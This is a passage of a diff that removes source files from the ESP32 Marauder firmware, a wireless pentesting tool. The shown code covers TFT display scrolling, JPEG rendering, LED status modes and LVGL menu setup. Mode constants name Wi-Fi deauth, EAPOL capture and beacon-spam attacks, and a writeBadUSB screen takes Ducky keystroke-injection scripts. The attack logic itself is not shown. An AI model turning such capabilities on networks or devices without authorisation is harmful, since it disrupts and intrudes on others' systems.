-    yArea = YMAX - TOP_FIXED_AREA - BOT_FIXED_AREA;
-  }
-  else
-  {
-    yStart = TOP_FIXED_AREA_2;
-
-    yArea = YMAX - TOP_FIXED_AREA_2 - BOT_FIXED_AREA;
-  }
-
-  for(uint8_t i = 0; i < 18; i++) blank[i] = 0;
-}
-
-
-
-// Function to execute hardware scroll for TFT screen
-int Display::scroll_line(uint32_t color) {
-  //Serial.println("scroll_line()");
-  int yTemp = yStart; // Store the old yStart, this is where we draw the next line
-  // Use the record of line lengths to optimise the rectangle size we need to erase the top line
-
-  // Check if we have the "touch to exit bar"
-  if (!tteBar)
-  {
-    tft.fillRect(0,yStart,blank[(yStart-TOP_FIXED_AREA)/TEXT_HEIGHT],TEXT_HEIGHT, color);
-  
-    // Change the top of the scroll area
-    yStart+=TEXT_HEIGHT;
-    // The value must wrap around as the screen memory is a circular buffer
-    if (yStart >= YMAX - BOT_FIXED_AREA) yStart = TOP_FIXED_AREA + (yStart - YMAX + BOT_FIXED_AREA);
-  }
-  else
-  {
-    tft.fillRect(0,yStart,blank[(yStart-TOP_FIXED_AREA_2)/TEXT_HEIGHT],TEXT_HEIGHT, color);
-  
-    // Change the top of the scroll area
-    yStart+=TEXT_HEIGHT;
-    // The value must wrap around as the screen memory is a circular buffer
-    if (yStart >= YMAX - BOT_FIXED_AREA) yStart = TOP_FIXED_AREA_2 + (yStart - YMAX + BOT_FIXED_AREA);
-  }
-  // Now we can scroll the display
-  scrollAddress(yStart);
-  return  yTemp;
-}
-
-
-// Function to setup hardware scroll for TFT screen
-void Display::setupScrollArea(uint16_t tfa, uint16_t bfa) {
-  //Serial.println(F("setupScrollArea()"));
-  //Serial.println("   tfa: " + (String)tfa);
-  //Serial.println("   bfa: " + (String)bfa);
-  //Serial.println("yStart: " + (String)this->yStart);
-  #ifndef MARAUDER_MINI
-    tft.writecommand(ILI9341_VSCRDEF); // Vertical scroll definition
-    tft.writedata(tfa >> 8);           // Top Fixed Area line count
-    tft.writedata(tfa);
-    tft.writedata((YMAX-tfa-bfa)>>8);  // Vertical Scrolling Area line count
-    tft.writedata(YMAX-tfa-bfa);
-    tft.writedata(bfa >> 8);           // Bottom Fixed Area line count
-    tft.writedata(bfa);
-  #endif
-}
-
-
-void Display::scrollAddress(uint16_t vsp) {
-  #ifndef MARAUDER_MINI
-    tft.writecommand(ILI9341_VSCRSADD); // Vertical scrolling pointer
-    tft.writedata(vsp>>8);
-    tft.writedata(vsp);
-  #endif
-}
-
-
-
-
-// JPEG_functions
-void Display::drawJpeg(const char *filename, int xpos, int ypos) {
-
-  // Open the named file (the Jpeg decoder library will close it after rendering image)
-  //fs::File jpegFile = SPIFFS.open( filename, "r");    // File handle reference for SPIFFS
-
-  //jpegFile.close();
-
-  //ESP32 always seems to return 1 for jpegFile so this null trap does not work
-  //if ( !jpegFile ) {
-  //  Serial.print("ERROR: File \""); Serial.print(filename); Serial.println ("\" not found!");
-  //  return;
-  //}
-
-  // Use one of the three following methods to initialise the decoder,
-  // the filename can be a String or character array type:
-
-  //boolean decoded = JpegDec.decodeFsFile(filename);  // or pass the filename (leading / distinguishes SPIFFS files)
-  boolean decoded = JpegDec.decodeArray(MarauderTitle, 13578);
-
-  if (decoded) {
-    // print information about the image to the serial port
-    jpegInfo();
-
-    // render the image onto the screen at given coordinates
-    jpegRender(xpos, ypos);
-  }
-  //else {
-  //  Serial.println(F("Jpeg file format not supported!"));
-  //}
-}
-
-void Display::setupDraw() {
-  this->tft.drawLine(0, 0, 10, 0, TFT_MAGENTA);
-  this->tft.drawLine(0, 0, 0, 10, TFT_GREEN);
-  this->tft.drawLine(0, 0, 0, 0, TFT_CYAN);
-}
-
-uint16_t xlast;
-uint16_t ylast;
-uint32_t AH;
-void Display::drawStylus()
-{
-  uint16_t x = 0, y = 0; // To store the touch coordinates
-
-  // Pressed will be set true is there is a valid touch on the screen
-  boolean pressed = tft.getTouch(&x, &y);
-
-  if ((x <= 10) && (y <= 10) && (pressed)) {
-    //Serial.println(F("Exit draw function"));
-    this->draw_tft = false;
-    this->exit_draw = true;
-    return;
-  }
-
-  // Draw a white spot at the detected coordinates
-  if (pressed) {
-    //    tft.fillCircle(x, y, 2, TFT_WHITE);
-    if ( xlast > 0 && ylast > 0 ) {
-      uint16_t the_color = TFT_WHITE;
-      uint16_t wd = 1;
-      int xlast2;
-      int ylast2;
-      int x2;
-      int y2;
-      int n;
-      int n2 = -wd;
-      xlast2 = xlast - wd;
-      x2 = x - wd;
-      for (n = -wd; n <= wd; n++) {
-        ylast2 = ylast + n;
-        y2 = y + n;
-        tft.drawLine(xlast2, ylast2, x2, y2, the_color);
-      }
-      for (n2 = -wd; n2 <= wd; n2++) {
-        xlast2 = xlast + n2;
-        x2 = x + n2;
-        tft.drawLine(xlast2, ylast2, x2, y2, the_color);
-      }
-      for (n = wd; n >= -wd; n--) {
-        ylast2 = ylast + n;
-        y2 = y + n;
-        tft.drawLine(xlast2, ylast2, x2, y2, the_color);
-      }
-      for (n2 = wd; n2 >= -wd; n2--) {
-        xlast2 = xlast + n2;
-        x2 = x + n2;
-        tft.drawLine(xlast2, ylast2, x2, y2, the_color);
-      }
-//      tft.drawLine(xlast, ylast, x, y, TFT_WHITE);
-    }
-    xlast = x;
-    ylast = y;
-    AH = 0;
-    //Serial.print("x,y = ");
-    //Serial.print(x);
-    //Serial.print(",");
-    //Serial.println(y);
-  } else if ( AH < 5 ) {
-    AH++;
-  } else if ( AH == 5 ) {
-    xlast = 0;
-    ylast = 0;
-  }
-}
-
-//====================================================================================
-//   Decode and render the Jpeg image onto the TFT screen
-//====================================================================================
-void Display::jpegRender(int xpos, int ypos) {
-
-  // retrieve infomration about the image
-  uint16_t  *pImg;
-  int16_t mcu_w = JpegDec.MCUWidth;
-  int16_t mcu_h = JpegDec.MCUHeight;
-  int32_t max_x = JpegDec.width;
-  int32_t max_y = JpegDec.height;
-
-  // Jpeg images are draw as a set of image block (tiles) called Minimum Coding Units (MCUs)
-  // Typically these MCUs are 16x16 pixel blocks
-  // Determine the width and height of the right and bottom edge image blocks
-  int32_t min_w = minimum(mcu_w, max_x % mcu_w);
-  int32_t min_h = minimum(mcu_h, max_y % mcu_h);
-
-  // save the current image block size
-  int32_t win_w = mcu_w;
-  int32_t win_h = mcu_h;
-
-  // record the current time so we can measure how long it takes to draw an image
-  uint32_t drawTime = millis();
-
-  // save the coordinate of the right and bottom edges to assist image cropping
-  // to the screen size
-  max_x += xpos;
-  max_y += ypos;
-
-  // read each MCU block until there are no more
-  while ( JpegDec.readSwappedBytes()) { // Swapped byte order read
-
-    // save a pointer to the image block
-    pImg = JpegDec.pImage;
-
-    // calculate where the image block should be drawn on the screen
-    int mcu_x = JpegDec.MCUx * mcu_w + xpos;  // Calculate coordinates of top left corner of current MCU
-    int mcu_y = JpegDec.MCUy * mcu_h + ypos;
-
-    // check if the image block size needs to be changed for the right edge
-    if (mcu_x + mcu_w <= max_x) win_w = mcu_w;
-    else win_w = min_w;
-
-    // check if the image block size needs to be changed for the bottom edge
-    if (mcu_y + mcu_h <= max_y) win_h = mcu_h;
-    else win_h = min_h;
-
-    // copy pixels into a contiguous block
-    if (win_w != mcu_w)
-    {
-      for (int h = 1; h < win_h-1; h++)
-      {
-        memcpy(pImg + h * win_w, pImg + (h + 1) * mcu_w, win_w << 1);
-      }
-    }
-
-    // draw image MCU block only if it will fit on the screen
-    if ( mcu_x < tft.width() && mcu_y < tft.height())
-    {
-      // Now push the image block to the screen
-      tft.pushImage(mcu_x, mcu_y, win_w, win_h, pImg);
-    }
-
-    else if ( ( mcu_y + win_h) >= tft.height()) JpegDec.abort();
-
-  }
-
-  // calculate how long it took to draw the image
-  drawTime = millis() - drawTime; // Calculate the time it took
-}
-
-//====================================================================================
-//   Print information decoded from the Jpeg image
-//====================================================================================
-void Display::jpegInfo() {
-/*
-  Serial.println("===============");
-  Serial.println("JPEG image info");
-  Serial.println("===============");
-  Serial.print  ("Width      :"); Serial.println(JpegDec.width);
-  Serial.print  ("Height     :"); Serial.println(JpegDec.height);
-  Serial.print  ("Components :"); Serial.println(JpegDec.comps);
-  Serial.print  ("MCU / row  :"); Serial.println(JpegDec.MCUSPerRow);
-  Serial.print  ("MCU / col  :"); Serial.println(JpegDec.MCUSPerCol);
-  Serial.print  ("Scan type  :"); Serial.println(JpegDec.scanType);
-  Serial.print  ("MCU width  :"); Serial.println(JpegDec.MCUWidth);
-  Serial.print  ("MCU height :"); Serial.println(JpegDec.MCUHeight);
-  Serial.println("===============");
-  Serial.println("");
-  */
-}
-
-//====================================================================================
-//   Open a Jpeg file and send it to the Serial port in a C array compatible format
-//====================================================================================
-void createArray(const char *filename) {
-
-  // Open the named file
-  fs::File jpgFile = SPIFFS.open( filename, "r");    // File handle reference for SPIFFS
-  //  File jpgFile = SD.open( filename, FILE_READ);  // or, file handle reference for SD library
-
-  if ( !jpgFile ) {
-    Serial.print("ERROR: File \""); Serial.print(filename); Serial.println ("\" not found!");
-    return;
-  }
-
-  uint8_t data;
-  byte line_len = 0;
-  Serial.println("");
-  Serial.println(F("// Generated by a JPEGDecoder library example sketch:"));
-  Serial.println(F("// https://github.com/Bodmer/JPEGDecoder"));
-  Serial.println("");
-  Serial.println(F("#if defined(__AVR__)"));
-  Serial.println(F("  #include <avr/pgmspace.h>"));
-  Serial.println(F("#endif"));
-  Serial.println("");
-  Serial.print  (F("const uint8_t "));
-  while (*filename != '.') Serial.print(*filename++);
-  Serial.println(F("[] PROGMEM = {")); // PROGMEM added for AVR processors, it is ignored by Due
-
-  while ( jpgFile.available()) {
-
-    data = jpgFile.read();
-    Serial.print("0x"); if (abs(data) < 16) Serial.print("0");
-    Serial.print(data, HEX); Serial.print(",");// Add value and comma
-    line_len++;
-    if ( line_len >= 32) {
-      line_len = 0;
-      Serial.println();
-    }
-
-  }
-
-  Serial.println("};\r\n");
-  jpgFile.close();
-}
-
-// End JPEG_functions
-
-// SPIFFS_functions
-
-#ifdef ESP8266
-void Display::listFiles(void) {
-  Serial.println();
-  Serial.println(F("SPIFFS files found:"));
-
-  fs::Dir dir = SPIFFS.openDir("/"); // Root directory
-  String  line = "=====================================";
-
-  Serial.println(line);
-  Serial.println(F("  File name               Size"));
-  Serial.println(line);
-
-  while (dir.next()) {
-    String fileName = dir.fileName();
-    Serial.print(fileName);
-    int spaces = 21 - fileName.length(); // Tabulate nicely
-    while (spaces--) Serial.print(" ");
-
-    fs::File f = dir.openFile("r");
-    String fileSize = (String) f.size();
-    spaces = 10 - fileSize.length(); // Tabulate nicely
-    while (spaces--) Serial.print(" ");
-    Serial.println(fileSize + " bytes");
-  }
-
-  Serial.println(line);
-  Serial.println();
-  delay(1000);
-}
-#endif
-
-//====================================================================================
-
-#ifdef ESP32
-
-void Display::listFiles(void) {
-  listDir(SPIFFS, "/", 0);
-}
-
-void Display::listDir(fs::FS &fs, const char * dirname, uint8_t levels) {
-
-  Serial.println();
-  Serial.println(F("SPIFFS files found:"));
-
-  Serial.printf("Listing directory: %s\n", "/");
-  String  line = "=====================================";
-
-  Serial.println(line);
-  Serial.println(F("  File name               Size"));
-  Serial.println(line);
-
-  fs::File root = fs.open(dirname);
-  if (!root) {
-    Serial.println(F("Failed to open directory"));
-    return;
-  }
-  if (!root.isDirectory()) {
-    Serial.println(F("Not a directory"));
-    return;
-  }
-
-  fs::File file = root.openNextFile();
-  while (file) {
-
-    if (file.isDirectory()) {
-      Serial.print("DIR : ");
-      String fileName = file.name();
-      Serial.print(fileName);
-      if (levels) {
-        listDir(fs, file.name(), levels - 1);
-      }
-    } else {
-      String fileName = file.name();
-      Serial.print("  " + fileName);
-      int spaces = 20 - fileName.length(); // Tabulate nicely
-      while (spaces--) Serial.print(" ");
-      String fileSize = (String) file.size();
-      spaces = 10 - fileSize.length(); // Tabulate nicely
-      while (spaces--) Serial.print(" ");
-      Serial.println(fileSize + " bytes");
-    }
-
-    file = root.openNextFile();
-  }
-
-  Serial.println(line);
-  Serial.println();
-  delay(1000);
-}
-#endif
-
-
-void Display::updateBanner(String msg)
-{
-  this->img.deleteSprite();
-  
-  this->img.setColorDepth(8);
-
-  this->img.createSprite(SCREEN_WIDTH, TEXT_HEIGHT);
-
-  this->buildBanner(msg, current_banner_pos);
-
-  this->img.pushSprite(0, STATUS_BAR_WIDTH);
-
-  current_banner_pos--;
-
-  if (current_banner_pos <= 0)
-    current_banner_pos = SCREEN_WIDTH + 2;
-}
-
-
-void Display::buildBanner(String msg, int xpos)
-{
-  int h = TEXT_HEIGHT;
-
-  // We could just use fillSprite(color) but lets be a bit more creative...
-
-  // Fill with rainbow stripes
-  //while (h--) img.drawFastHLine(0, h, SCREEN_WIDTH, 255);
-
-  // Draw some graphics, the text will apear to scroll over these
-  //img.fillRect  (SCREEN_WIDTH / 2 - 20, TEXT_HEIGHT / 2 - 10, 40, 20, TFT_YELLOW);
-  //img.fillCircle(SCREEN_WIDTH / 2, TEXT_HEIGHT / 2, 10, TFT_ORANGE);
-
-  // Now print text on top of the graphics
-  img.setTextSize(BANNER_TEXT_SIZE);           // Font size scaling is x1
-  img.setTextFont(0);           // Font 4 selected
-  img.setTextColor(TFT_WHITE);  // Black text, no background colour
-  img.setTextWrap(false);       // Turn of wrap so we can print past end of sprite
-
-  // Need to print twice so text appears to wrap around at left and right edges
-  img.setCursor(xpos, 2);  // Print text at xpos
-  img.print(msg);
-
-  img.setCursor(xpos - SCREEN_WIDTH, 2); // Print text at xpos - sprite width
-  img.print(msg);
-}
-
-void Display::main(uint8_t scan_mode)
-{  
-  if ((scan_mode == LV_JOIN_WIFI) ||
-      (scan_mode == LV_ADD_SSID))
-    lv_task_handler();
-  return;
-}
-// End SPIFFS_functions
-
-#endif

esp32_marauder/Display.h

@@ -1,165 +0,0 @@
-#ifndef Display_h
-#define Display_h
-
-#include "configs.h"
-
-#ifdef HAS_SCREEN
-
-#include <FS.h>
-#include <functional>
-#include <JPEGDecoder.h>
-//#include <SimpleList.h>
-#include <LinkedList.h>
-#include <SPI.h>
-#include <lvgl.h>
-#include <Ticker.h>
-//#include <M5Stack.h>
-#include "SPIFFS.h"
-#include "Assets.h"
-
-#include <TFT_eSPI.h>
-
-// WiFi stuff
-#define OTA_UPDATE 100
-#define SHOW_INFO 101
-#define WIFI_SCAN_OFF 0
-#define WIFI_SCAN_PROBE 1
-#define WIFI_SCAN_AP 2
-#define WIFI_SCAN_PWN 3
-#define WIFI_SCAN_EAPOL 4
-#define WIFI_SCAN_DEAUTH 5
-#define WIFI_SCAN_ALL 6
-#define WIFI_PACKET_MONITOR 7
-#define WIFI_ATTACK_BEACON_SPAM 8
-#define WIFI_ATTACK_RICK_ROLL 9
-#define BT_SCAN_ALL 10
-#define BT_SCAN_SKIMMERS 11
-#define WIFI_SCAN_ESPRESSIF 12
-#define LV_JOIN_WIFI 13
-#define LV_ADD_SSID 14
-#define WIFI_ATTACK_BEACON_LIST 15
-
-/*
-PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
-PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
-
-PROGMEM static lv_disp_buf_t disp_buf;
-PROGMEM static lv_color_t buf[LV_HOR_RES_MAX * 10];
-
-PROGMEM static void ta_event_cb(lv_obj_t * ta, lv_event_t event);
-PROGMEM static void keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
-
-// lvgl stuff
-PROGMEM static lv_obj_t *kb;
-*/
-
-// #define KIT
-// #define TFT_DIY
-
-class Display
-{
-  private:
-    bool SwitchOn = false;
-    
-    bool run_setup = true;
-    
-    // For the byte we read from the serial port
-    byte data = 0;
-    
-    // A few test variables used during debugging
-    boolean change_colour = 1;
-    boolean selected = 1;
-
-    void drawFrame();
-
-    #ifdef SCREEN_BUFFER
-      void scrollScreenBuffer(bool down = false);
-    #endif
-
-    //void addNodes(Menu* menu, String name, Menu* child, std::function<void()> callable);
-    //void changeMenu(Menu* menu);
-    //void showMenuList(Menu* menu, int layer);
-    //static void lv_tick_handler();
-
-  public:
-    Display();
-    //Ticker tick;
-    TFT_eSPI tft = TFT_eSPI();
-    TFT_eSprite img = TFT_eSprite(&tft);
-    TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
-    const String PROGMEM version_number = MARAUDER_VERSION;
-
-    bool printing = false;
-    bool loading = false;
-    bool tteBar = false;
-    bool draw_tft = false;
-    bool exit_draw = false;
-
-    int TOP_FIXED_AREA_2 = 48;
-    int print_delay_1, print_delay_2 = 10;
-    int current_banner_pos = SCREEN_WIDTH;
-
-    //Menu* current_menu;
-    
-    //Menu mainMenu;
-    //Menu wifiMenu;
-    //Menu bluetoothMenu;
-
-    LinkedList<String>* display_buffer;
-
-    #ifdef SCREEN_BUFFER
-      LinkedList<String>* screen_buffer;
-    #endif
-
-    // The initial y coordinate of the top of the bottom text line
-    uint16_t yDraw = YMAX - BOT_FIXED_AREA - TEXT_HEIGHT;
-
-    // Keep track of the drawing x coordinate
-    uint16_t xPos = 0;
-
-    // The initial y coordinate of the top of the scrolling area
-    uint16_t yStart = TOP_FIXED_AREA_2;
-    // yArea must be a integral multiple of TEXT_HEIGHT
-    uint16_t yArea = YMAX - TOP_FIXED_AREA_2 - BOT_FIXED_AREA;
-
-    // We have to blank the top line each time the display is scrolled, but this takes up to 13 milliseconds
-    // for a full width line, meanwhile the serial buffer may be filling... and overflowing
-    // We can speed up scrolling of short text lines by just blanking the character we drew
-    int blank[19]; // We keep all the strings pixel lengths to optimise the speed of the top line blanking
-
-    //void initLVGL();
-    //void deinitLVGL();
-    //void joinWiFiGFX();
-    void tftDrawRedOnOffButton();
-    void tftDrawGreenOnOffButton();
-    void tftDrawGraphObjects(byte x_scale);
-    void tftDrawEapolColorKey();
-    void tftDrawColorKey();
-    void tftDrawXScaleButtons(byte x_scale);
-    void tftDrawYScaleButtons(byte y_scale);
-    void tftDrawChannelScaleButtons(int set_channel);
-    void tftDrawExitScaleButtons();
-    void buildBanner(String msg, int xpos);
-    void clearScreen();
-    void displayBuffer(bool do_clear = false);
-    void drawJpeg(const char *filename, int xpos, int ypos);
-    void setupDraw();
-    void drawStylus();
-    void getTouchWhileFunction(bool pressed);
-    void initScrollValues(bool tte = false);
-    void jpegInfo();
-    void jpegRender(int xpos, int ypos);
-    void listDir(fs::FS &fs, const char * dirname, uint8_t levels);
-    void listFiles();
-    void main(uint8_t scan_mode);
-    void RunSetup();
-    void scrollAddress(uint16_t vsp);
-    int scroll_line(uint32_t color);
-    void setupScrollArea(uint16_t tfa, uint16_t bfa);
-    void showCenterText(String text, int y);
-    void touchToExit();
-    void twoPartDisplay(String center_text);
-    void updateBanner(String msg);
-};
-#endif
-#endif

esp32_marauder/LedInterface.cpp

@@ -1,86 +0,0 @@
-#include "LedInterface.h"
-
-LedInterface::LedInterface() {
-  
-}
-
-void LedInterface::RunSetup() {
-  //Serial.println("Setting neopixel to black...");
-  strip.setBrightness(0);
-  strip.begin();
-  strip.setPixelColor(0, strip.Color(0, 0, 0));
-  strip.show();
-  delay(100);
-  strip.setBrightness(50);
-  strip.setPixelColor(0, strip.Color(0, 0, 0));
-  strip.show();
-  this->initTime = millis();
-}
-
-void LedInterface::main(uint32_t currentTime) {
-  if ((!settings_obj.loadSetting<bool>("EnableLED")) ||
-      (this->current_mode == MODE_OFF)) {
-    this->ledOff();
-    return;
-  }
-
-  else if (this->current_mode == MODE_RAINBOW) {
-    this->rainbow();
-  }
-  else if (this->current_mode == MODE_ATTACK) {
-    this->attackLed();
-  }
-  else if (this->current_mode == MODE_SNIFF) {
-    this->sniffLed();
-  }
-  else {
-    this->ledOff();
-  }
-};
-
-void LedInterface::setMode(uint8_t new_mode) {
-  this->current_mode = new_mode;
-}
-
-uint8_t LedInterface::getMode() {
-  return this->current_mode;
-}
-
-void LedInterface::sniffLed() {
-  strip.setPixelColor(0, strip.Color(0, 0, 255));
-  strip.show();
-}
-
-void LedInterface::attackLed() {
-  strip.setPixelColor(0, strip.Color(255, 0, 0));
-  strip.show();
-}
-
-void LedInterface::ledOff() {
-  strip.setPixelColor(0, strip.Color(0, 0, 0));
-  strip.show();
-}
-
-void LedInterface::rainbow() {
-  strip.setPixelColor(0, this->Wheel((0 * 256 / 100 + this->wheel_pos) % 256));
-  strip.show();
-    
-  this->current_fade_itter++;
-
-  this->wheel_pos = this->wheel_pos - this->wheel_speed;
-  if (this->wheel_pos < 0)
-    this->wheel_pos = 255;
-}
-
-uint32_t LedInterface::Wheel(byte WheelPos) {
-  WheelPos = 255 - WheelPos;
-  if(WheelPos < 85) {
-    return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);
-  }
-  if(WheelPos < 170) {
-    WheelPos -= 85;
-    return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);
-  }
-  WheelPos -= 170;
-  return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
-}

esp32_marauder/LedInterface.h

@@ -1,49 +0,0 @@
-#ifndef LedInterface_h
-#define LedInterface_h
-
-#include "configs.h"
-#include "settings.h"
-#include <Arduino.h>
-#include <Adafruit_NeoPixel.h>
-
-#define Pixels 1
-
-#define MODE_OFF 0
-#define MODE_RAINBOW 1
-#define MODE_ATTACK 2
-#define MODE_SNIFF 3
-
-extern Settings settings_obj;
-extern Adafruit_NeoPixel strip;
-
-class LedInterface {
-
-  private:
-    uint32_t initTime = 0;
-
-    int current_fade_itter = 1;
-    int wheel_pos = 255;
-    int wheel_speed = 1; // lower = slower
-
-    uint32_t Wheel(byte WheelPos);
-
-    uint8_t current_mode = MODE_OFF;
-
-    void rainbow();
-    void ledOff();
-    void attackLed();
-    void sniffLed();
-  
-  public:
-    LedInterface();
-
-    void RunSetup();
-    void main(uint32_t currentTime);
-
-    void setMode(uint8_t);
-    uint8_t getMode();
-    
-  
-};
-
-#endif

esp32_marauder/MenuFunctions.cpp

@@ -1,2124 +0,0 @@
-#include "MenuFunctions.h"
-#include "lang_var.h"
-//#include "icons.h"
-
-#ifdef HAS_SCREEN
-
-extern const unsigned char menu_icons[][66];
-PROGMEM lv_obj_t * slider_label;
-PROGMEM lv_obj_t * ta1;
-PROGMEM lv_obj_t * ta2;
-PROGMEM lv_obj_t * save_name;
-
-MenuFunctions::MenuFunctions()
-{
-}
-
-// LVGL Stuff
-/* Interrupt driven periodic handler */
-
-#ifndef MARAUDER_MINI
-  void MenuFunctions::lv_tick_handler()
-  {
-    lv_tick_inc(LVGL_TICK_PERIOD);
-  }
-  
-  /* Display flushing */
-  void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p)
-  {
-    extern Display display_obj;
-    uint16_t c;
-  
-    display_obj.tft.startWrite();
-    display_obj.tft.setAddrWindow(area->x1, area->y1, (area->x2 - area->x1 + 1), (area->y2 - area->y1 + 1));
-    for (int y = area->y1; y <= area->y2; y++) {
-      for (int x = area->x1; x <= area->x2; x++) {
-        c = color_p->full;
-        display_obj.tft.writeColor(c, 1);
-        color_p++;
-      }
-    }
-    display_obj.tft.endWrite();
-    lv_disp_flush_ready(disp);
-  }
-  
-  
-  bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data)
-  {
-    extern Display display_obj;
-    
-    uint16_t touchX, touchY;
-  
-    bool touched = display_obj.tft.getTouch(&touchX, &touchY, 600);
-  
-    if(!touched)
-    {
-      return false;
-    }
-  
-    if(touchX>WIDTH_1 || touchY > HEIGHT_1)
-    {
-      Serial.println("Y or y outside of expected parameters..");
-      Serial.print("y:");
-      Serial.print(touchX);
-      Serial.print(" x:");
-      Serial.print(touchY);
-    }
-    else
-    {
-  
-      data->state = touched ? LV_INDEV_STATE_PR : LV_INDEV_STATE_REL; 
-  
-      //if(data->state == LV_INDEV_STATE_PR) touchpad_get_xy(&last_x, &last_y);
-     
-      data->point.x = touchX;
-      data->point.y = touchY;
-  
-      //Serial.print("Data x");
-      //Serial.println(touchX);
-      
-      //Serial.print("Data y");
-      //Serial.println(touchY);
-  
-    }
-  
-    return false;
-  }
-  
-  void MenuFunctions::initLVGL() {
-    tick.attach_ms(LVGL_TICK_PERIOD, lv_tick_handler);
-    
-    lv_init();
-  
-    lv_disp_buf_init(&disp_buf, buf, NULL, LV_HOR_RES_MAX * 10);
-  
-    lv_disp_drv_t disp_drv;
-    lv_disp_drv_init(&disp_drv);
-    disp_drv.hor_res = WIDTH_1;
-    disp_drv.ver_res = HEIGHT_1;
-    disp_drv.flush_cb = my_disp_flush;
-    disp_drv.buffer = &disp_buf;
-    lv_disp_drv_register(&disp_drv);
-  
-    lv_indev_drv_t indev_drv;
-    lv_indev_drv_init(&indev_drv);             
-    indev_drv.type = LV_INDEV_TYPE_POINTER;    
-    indev_drv.read_cb = my_touchpad_read;      
-    lv_indev_drv_register(&indev_drv);         
-  }
-  
-  
-  void MenuFunctions::deinitLVGL() {
-    Serial.println(F("Deinit LVGL"));
-    //lv_deinit();
-  }
-  
-  void MenuFunctions::writeBadUSB(){
-    // Create a keyboard and apply the styles
-    kb = lv_keyboard_create(lv_scr_act(), NULL);
-    lv_obj_set_size(kb, LV_HOR_RES, LV_VER_RES / 2);
-    lv_obj_set_event_cb(kb, write_bad_usb_keyboard_event_cb);
-  
-    // Create one text area
-    // Store all SSIDs
-    ta1 = lv_textarea_create(lv_scr_act(), NULL);
-    lv_textarea_set_cursor_hidden(ta1, false);
-    lv_textarea_set_one_line(ta1, false);
-    lv_obj_set_width(ta1, LV_HOR_RES);
-    lv_obj_set_height(ta1, (LV_VER_RES / 2) - 35);
-    lv_obj_set_pos(ta1, 5, 20);
-    lv_textarea_set_cursor_hidden(ta1, true);
-    lv_obj_align(ta1, NULL, LV_ALIGN_IN_TOP_MID, NULL, NULL);
-    lv_textarea_set_text(ta1, "");
-    lv_textarea_set_placeholder_text(ta1, "Ducky script");
-  
-    if (sd_obj.supported) {
-      // Create load button
-      lv_obj_t * label;
-      lv_obj_t * load_btn = lv_btn_create(lv_scr_act(), NULL);
-      lv_obj_set_event_cb(load_btn, load_btn_cb);
-      lv_obj_set_height(load_btn, 35);
-      lv_obj_set_width(load_btn, LV_HOR_RES / 3);
-      lv_obj_align(load_btn, ta1, LV_ALIGN_IN_TOP_RIGHT, NULL, (LV_VER_RES / 2) - 35); // align to text area
-      label = lv_label_create(load_btn, NULL);
-      lv_label_set_text(label, text05);
-    
-      // Create Save As button
-      lv_obj_t * label2;
-      lv_obj_t * save_as_btn = lv_btn_create(lv_scr_act(), NULL);
-      lv_obj_set_event_cb(save_as_btn, load_btn_cb);
-      lv_obj_set_height(save_as_btn, 35);
-      lv_obj_set_width(save_as_btn, LV_HOR_RES / 3);
-      lv_obj_align(save_as_btn, ta1, LV_ALIGN_IN_TOP_MID, NULL, (LV_VER_RES / 2) - 35); // align to text area
-      label2 = lv_label_create(save_as_btn, NULL);
-      lv_label_set_text(label2, text06);
-    }
-    
-    // Focus it on one of the text areas to start
-    lv_keyboard_set_textarea(kb, ta1);
-    lv_keyboard_set_cursor_manage(kb, true);
-  }
-  
-  // Event handler for settings drop down menus
-  void setting_dropdown_cb(lv_obj_t * obj, lv_event_t event) {
-    //lv_event_code_t code = lv_event_get_code(event);
-    //lv_obj_t * obj = lv_event_get_target(event);
-    //lv_obj_t * list1 = lv_obj_get_parent(lv_obj_get_parent(obj));
-    //if(event == LV_EVENT_CLICKED) {
-    //    LV_LOG_USER("Clicked: %s", lv_list_get_btn_text(list1, obj));
-    //}
-  }
-  
-  void settings_list_cb(lv_obj_t * btn, lv_event_t event) {
-    extern Settings settings_obj;
-    extern MenuFunctions menu_function_obj;
-  
-    String btn_text = lv_list_get_btn_text(btn);
-    String display_string = "";
-    
-    if (event == LV_EVENT_CLICKED) {
-      if (btn_text == text07) {
-        Serial.println("Exiting...");
-        lv_obj_del_async(lv_obj_get_parent(lv_obj_get_parent(btn)));
-  
-        printf("LV_EVENT_CANCEL\n");
-        Serial.println("Potato");
-        //menu_function_obj.deinitLVGL();
-        //wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
-        //display_obj.exit_draw = true; // set everything back to normal
-      }
-      else {
-        // Build base obj to host buttons
-        Serial.println("Creating base object...");
-        lv_obj_t * obj;
-        obj = lv_obj_create(lv_scr_act(), NULL);
-        lv_obj_set_size(obj, LV_HOR_RES, LV_VER_RES);
-        
-        lv_obj_t * exit_btn;
-  
-        lv_obj_t * label;
-        
-        // Build the generic Exit button
-        exit_btn = lv_btn_create(obj, NULL);
-        lv_obj_set_event_cb(exit_btn, settings_list_cb);
-        lv_label_set_text(label, text07);
-        //lv_obj_center(label);
-  
-        label = lv_label_create(exit_btn, NULL);
-  
-        // Create the type specific device
-        if (settings_obj.getSettingType(btn_text) == "bool") {
-          lv_obj_t * sw = lv_switch_create(obj, NULL);
-          lv_obj_align(sw, NULL, LV_ALIGN_CENTER, 0, 0);
-        }
-      }
-    }
-  }
-  
-  void MenuFunctions::displaySettingsGFX(){
-    extern Settings settings_obj;
-  
-    DynamicJsonDocument json(1024); // ArduinoJson v6
-  
-    if (deserializeJson(json, settings_obj.getSettingsString())) {
-      Serial.println("\nCould not parse json");
-    }
-    
-    lv_obj_t * list1 = lv_list_create(lv_scr_act(), NULL);
-    lv_obj_set_size(list1, 160, 200);
-    lv_obj_set_width(list1, LV_HOR_RES);
-    lv_obj_align(list1, NULL, LV_ALIGN_CENTER, 0, 0);
-  
-    lv_obj_t * list_btn;
-  
-    lv_obj_t * label;
-  
-    lv_obj_t * sw;
-  
-    list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, text07);
-    lv_obj_set_event_cb(list_btn, ap_list_cb);
-  
-    for (int i = 0; i < json[text09].size(); i++) {
